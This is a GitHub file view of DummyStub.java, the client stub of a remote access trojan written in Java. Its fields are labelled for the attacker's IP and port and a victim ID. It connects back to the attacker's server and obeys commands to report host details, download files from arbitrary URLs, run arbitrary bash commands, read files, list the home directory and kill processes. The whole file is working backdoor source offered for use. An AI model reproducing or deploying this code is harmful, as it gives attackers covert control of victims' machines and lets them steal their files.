-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathDummyStub.java
More file actions
179 lines (164 loc) · 6.7 KB
/
DummyStub.java
File metadata and controls
179 lines (164 loc) · 6.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
package Application;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.Socket;
import java.net.URL;
import java.nio.channels.Channels;
import java.nio.channels.ReadableByteChannel;
import java.nio.charset.Charset;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
public class DummyStub {
private static final String IP = "IPAddress";
private static final int PORT = PORTNumber;
private static final String VicName = "VicTimName";
public static String ProcessName;
public static void main(String[] args) {
try {
Socket s = new Socket(IP,PORT);
PrintWriter writer = new PrintWriter(s.getOutputStream());
BufferedReader reader = new BufferedReader(new InputStreamReader(s.getInputStream()));
while(true) {
String sel = reader.readLine();
switch(sel) {
case "PING": writer.println(s.getRemoteSocketAddress());
writer.flush();
break;
case "CLOSE": s.close();
return;
case "INFO": InetAddress addr = InetAddress.getLocalHost();
writer.println(" Victim ID : " + VicName+ "\n"
+ " Victim Name : " + addr.getHostName() + "\n"
+ " Opretaing System : " + System.getProperty("os.name") + "\n"
+ " IP Address : " + s.getRemoteSocketAddress() + "\n"
+ " Version : " + "2.0 Public EditionT ");
writer.flush();
break;
case "Download":
DownloadFile(reader.readLine(),reader.readLine());
writer.println(" [-] File has been downloaded.");
writer.flush();
break;
case "Eecx":
String EveryThing2 = ExecuteCommads(reader.readLine());
int NumberOfLine2 = GetLines("execute.txt");
System.out.println(NumberOfLine2);
System.out.println(EveryThing2);
writer.println(NumberOfLine2);
writer.println(EveryThing2);
File Output = new File("execute.txt");
Output.delete();
writer.flush();
break;
case "Kill": ProcessName = reader.readLine();
KillProcess();
writer.println(" [-] Process Kill has been executed.");
writer.flush();
break;
case "GetText": String FilePath = reader.readLine();
int NumberOfLine = GetLines(FilePath);
System.out.println(NumberOfLine);
String EveryThing = GetText(FilePath);
writer.println(NumberOfLine);
writer.println(EveryThing);
writer.flush();
break;
case "GetHome":String EveryThing1 = GetHome();
int NumberOfLine1 = GetLines("lsputput.txt");
System.out.println(NumberOfLine1);
System.out.println(EveryThing1);
writer.println(NumberOfLine1);
writer.println(EveryThing1);
writer.flush();
break;
default: break;
}
}
} catch (Exception e) {};
}
public static void DownloadFile(String DownloadURL,String DownloadPath) throws IOException {
URL website = new URL(DownloadURL);
ReadableByteChannel rbc = Channels.newChannel(website.openStream());
FileOutputStream fos = new FileOutputStream(DownloadPath);
fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE);
}
public static int GetLines(String FilePath) throws IOException {
List<String> lines = Files.readAllLines(Paths.get(FilePath), Charset.defaultCharset());
int noOfLines = lines.size();
return noOfLines;
}
public static String ExecuteCommads(String Command) throws IOException, InterruptedException {
Process p = Runtime.getRuntime().exec(new String[]{"bash","-c",Command});
BufferedReader b = new BufferedReader(new InputStreamReader(p.getInputStream()));
System.out.println(b.readLine());
StringBuilder sb = new StringBuilder();
String line = b.readLine();
while ((line = b.readLine()) != null) {
sb.append(line);
sb.append(System.lineSeparator());
line = b.readLine();
}
String everything = sb.toString();
PrintWriter out = new PrintWriter("execute.txt");
out.println(everything);
System.out.println(everything);
out.close();
return everything;
}
public static String GetText(String FilePath) throws IOException {
BufferedReader br = new BufferedReader(new FileReader(FilePath));
try {
StringBuilder sb = new StringBuilder();
String line = br.readLine();
while (line != null) {
sb.append(line);
sb.append(System.lineSeparator());
line = br.readLine();
}
String everything = sb.toString();
System.out.println(everything);
return everything;
} finally {
br.close();
}
}
public static void KillProcess() throws IOException {
if (System.getProperty("os.name").contains("windows") == true) {
Runtime.getRuntime().exec("taskkill /IM " + ProcessName + "/F" );
} else if (System.getProperty("os.name").contains("linux") == true) {
Runtime.getRuntime().exec("killall " + ProcessName);
} else if (System.getProperty("os.name").contains("mac")) {
Runtime.getRuntime().exec("killall " + ProcessName);
}
}
public static String GetHome() throws IOException {
Process p = Runtime.getRuntime().exec(new String[]{"bash","-c","cd ~ && ls -all"});
BufferedReader b = new BufferedReader(new InputStreamReader(p.getInputStream()));
//System.out.println(b.readLine());
try {
StringBuilder sb = new StringBuilder();
String line = b.readLine();
while ((line = b.readLine()) != null) {
sb.append(line);
sb.append(System.lineSeparator());
line = b.readLine();
}
String everything = sb.toString();
System.out.println(everything);
PrintWriter out = new PrintWriter("lsputput.txt");
out.println(everything);
out.close();
return everything;
} finally {
}
}
}